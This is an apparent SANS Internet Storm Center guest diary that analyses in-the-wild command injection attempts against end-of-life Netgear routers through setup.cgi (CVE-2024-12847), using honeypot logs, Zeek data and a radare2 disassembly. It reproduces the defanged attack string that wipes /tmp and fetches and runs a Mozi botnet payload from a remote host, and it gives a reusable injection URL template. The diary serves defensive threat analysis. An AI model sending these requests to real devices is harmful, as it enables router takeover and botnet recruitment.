[This is a Guest Diary by David Watson, an ISC intern as part of the SANS.edu BACS program]
One thing I’ve learned about cybersecurity, particularly during my time here at the Internet Storm Center is this: If you don’t capture detailed network data (like PCAPs), you can easily miss the full picture of an attack, even with the most aggressive logging practices.
One of the attack observations I submitted on January 12th detailed an older vulnerability that uses HTTP GET requests, attempting to perform unauthenticated OS command injections on some legacy Netgear devices, targeting the ‘setup.cgi’ script. I was curious as to which Netgear devices might be involved, and some research led me to a few publications on exploit-db.com, which identified specifically the DGN1000 with firmware versions before 1.1.0.48, and the DGN2200v1 (all firmware versions) modem/router models.[2][3] Both of these models are shown to be “end of service” on the Netgear website. [4][5] There was no CVE mentioned, but a few days later I found out from another post on the 15th of January here at the Internet Storm Center, written by Dr. Yee Ching Tok, Ph.D., ISC Handler:
“This vulnerability was only formally registered in the CVE database in 2024 although it was first disclosed in May 2013, and the corresponding CVE entry was published recently on January 10, 2025.” [6]
CVE-2024-12847 has a CVSS score of 9.8 as shown on NIST.gov. [7] This post will illustrate how I found this in my logs, why it matters, and how packet captures and Zeek logs proved essential.
An Older Vulnerability Resurfaces
Netgear’s DGN1000 and DGN2200v1 devices are end-of-life (EOL) devices. The bug sits in a script called ‘setup.cgi’, (cgi = Common Gateway Interface) which is meant for administrative management of the router. Attackers discovered that by passing certain parameters, one can execute arbitrary OS commands on the router’s underlying Linux operating system as root, without any authentication checks. Over the last several months my web logs showed 257 suspicious HTTP GET requests from 16 unique IP addresses to ‘/setup.cgi’.
Looking into my Zeek logs to correlate this activity revealed an interesting payload, showing two examples of the command injection attempts here:
Breaking this down, we have:
- GET /setup.cgi?next_file=netgear.cfg – Targeting the setup.cgi script.
- &todo=syscmd – Calling the syscmd function.
- &cmd=rm+-rf+/tmp/*;wget+hxxp[://]<ip_address:port>/Mozi[.]m+-O+/tmp/netgear;sh+netgear – OS command injection.
- &curpath=/ – Setting “current path” to root.
- ¤tsetting.htm=1 – unclear exactly what this part does.
The command injection attempt aims to:
- rm -rf /tmp/*; – Remove the contents of the /tmp directory.
- wget hxxp[://]<ip_address:port>/Mozi[.]m -O /tmp/netgear; – Retrieve malicious script (Mozi botnet related? [14]) from remote server, save it in /tmp directory and name it “netgear”.
- sh netgear – Execute malicious script on target device.
Reverse-Engineering setup.cgi
Curiosity drove me to download a vulnerable version of the DGN1000 firmware, specifically version 1.1.00.24, still available right off the Netgear website! [8] I found the setup.cgi file, located in the <source>/target/sbin directory. Running the ‘file’ command showed:
setup.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Using my relatively new reverse engineering “ninja” skills gained from several CTFs I have participated in over the last few years (and various websites with C documentation), I decided to attempt a disassembly with radare2, [10] as it allows me to look inside this compiled binary and see how it works.
I am interested in the syscmd function, so I ran “iz~syscmd”, which gave me a string reference to syscmd and and a pointer to its location. Running “pdf” (print disassembly of function) after navigating to that address within the binary reveals the function associated with syscmd. Here is what that looks like:
Right off the bat, I can see some standard C library calls like putenv, printf, snprintf, chdir, puts, fflush, popen, fread, fwrite, and pclose. [9] “find_val” might be a custom or proprietary function specific to the Netgear firmware, but I did not find any specific reference pointing to this as of now. Given the context of this disassembly, we will assume that find_val has something to do with retrieving user-supplied parameters. Based on the sequence of events here, this is what I can conclude from the syscmd function:
- putenv, puts, and printf have to do with setting up the environment, status messages and/or error reporting and/or debugging.[9]
- find_val most likely retrieves user-supplied parameters.
- snprintf formats and stores characters into the buffer [9], likely from find_val.
- chdir possibly relates to the curpath=/ in the HTTP request.
- fflush writes the contents of the buffer to the output stream. [9]
- popen spawns a shell instance and executes the command. [11]
- fread() and fwrite() capture the output and send it somewhere (log file and/or back to the user if necessary)[9]
Based on what we can see how the syscmd function is laid out, there is absolutely zero input sanitization, and, looking at the entire setup.cgi script there is no mention of any authentication checks before being able to run these commands.
As far as the netgear.cfg file goes, it is not entirely clear why there is a “next_file = netgear.cfg” parameter before the “&todo=syscmd…etc” begins. I did not have access to the netgear.cfg file as it was a broken hard link pointing to the /tmp directory which was empty. I did find the “currentsetting.htm” file in source/target/www.eng, which, when printed, shows basic information about the device:
- Firmware=V1.1.0.24NA
- RegionTag=DGN1000_NA
- Region=US
- Model=DGN1000
- InternetConnectionStatus=Up
- ParentalControlSupported=1
I also found something else interesting here. A file called syscmd.htm which has several interesting JavaScript function in it relating to our exploit.
Essentially this (combined with the rest of the script, not included here) looks like part of the local front-end of the router’s web page to facilitate running the user-initiated commands.
This is interesting because there is at least some of the input validation/sanitization (included in some of the REGEX) we were looking for in the setup.cgi script itself! But this is only really enforced on the client/local side. There is nothing stopping an attacker from using this script to craft their own custom HTTP requests and sending them directly to the setup.cgi script in the provided format:
url: “/setup.cgi?todo=syscmd&cmd=<command_injection>&curpath=/”
The only remaining parts to the full URL we mentioned are the “next_file=netgear.cfg” and “currentsetting.htm=1”. It is possible that these parameters need to be added to prevent the failure of the request/destination device throwing back errors, or perhaps one or both values have to do with the authentication bypass, as we did not see any checks for authentication in the setup.cgi script itself. It is also possible that the attackers are just re-using the proof of concept that was referenced on the exploit-db site,[2][3] showing the exact format of the exploit, and not personally crafting the request themselves, save for the remote server IP and the malicious files in question, used to add the router to a botnet and/or hijack CPU resources to mine cryptocurrency, as we have also seen in other attempts on my honeypot.
Conclusion
The fact that we are still seeing what is now CVE-2024-12847 actively being exploited in the wild as much as it is isn’t all that surprising. Many people choose to keep their older hardware for as long as possible because, perhaps they cannot afford to replace it, and/or they do not realize the importance of patching regularly or upgrading when needed. Personally, I know VERY few people who check to see if their router needs updated firmware at least once a month. One of the potential benefits of using equipment provided by the Internet Service Provider(s) is they will often push these firmware updates to customer equipment, but that might not always be guaranteed, so it is worth double checking. And if the customer purchases their own equipment, it is their responsibility to keep it patched.
This graphic shows how many of these URLs the Internet Storm Center has seen over the past year: [13]
What do we glean from this? Outdated systems remain vulnerable long after their official support has ended. Despite being labeled as “end of service”, devices like the Netgear DGN1000 and DGN2200v1 (and probably many more Internet of Things (IoT) devices) continue to present significant security risks that can and will be exploited if appropriate measures are not taken.
My ultimate point in writing this is about the lessons I learned during this internship, in comprehensive network monitoring and data capture. Without the combination of detailed logging combined with things like packet captures and Zeek logs, these things can sometimes slip under the radar, leaving networks exposed. The ability to correlate events across different logs, as shown with Zeek in this case, was crucial in identifying and understanding the scope of the attack and understanding how to remediate and patch vulnerabilities.
I read an article earlier today that gave me a chuckle, titled “I paid $250,000 to learn forensics… and still don’t know forensics… [12]. Looking past the forensics title (and the humor), I think this applies to all of cybersecurity in general. Threats are constantly evolving, making this a field that demands continuous learning and adaptation. As soon as we become complacent, we risk failing to protect and defend our networks effectively. There is no definitive endpoint where we can say we “fully know” network security, threat hunting, incident response, etc. It is a lifelong journey, and one which I am extremely excited to be on. I will close this out with a phrase that has always stuck in my mind ever since my time in the Marines, and feel it is very applicable here. “Complacency kills” (and leaves networks vulnerable). One more thing, someone go buy Grandma a new router!
[1] https://www.sans.org/cyber-security-courses/network-monitoring-threat-detection/
[2] https://www.exploit-db.com/exploits/25978
[3] https://www.exploit-db.com/exploits/43055
[4] https://www.netgear.com/support/product/dgn2200v1/
[5] https://www.netgear.com/support/product/dgn1000/
[6] https://isc.sans.edu/diary/The+Curious+Case+of+a+12YearOld+Netgear+Router+Vulnerability/31592
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-12847
[8] https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL
[9] https://www.ibm.com/docs/en/i/7.5?topic=extensions-standard-c-library-functions-table-by-name
[10] https://github.com/radareorg/radare2
[11] https://c-for-dummies.com/blog/?p=1418
[12] https://brettshavers.com/brett-s-blog/entry/i-paid-100-000-to-learn-forensics-and-still-dont-know-forensics
[13] https://isc.sans.edu/weblogs/urlhistory.html?url=L3NldHVwLmNnaQ==
[14] https://thehackernews.com/2024/11/androxgh0st-malware-integrates-mozi.html
[15] https://www.sans.edu/cyber-security-programs/bachelors-degree/
———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.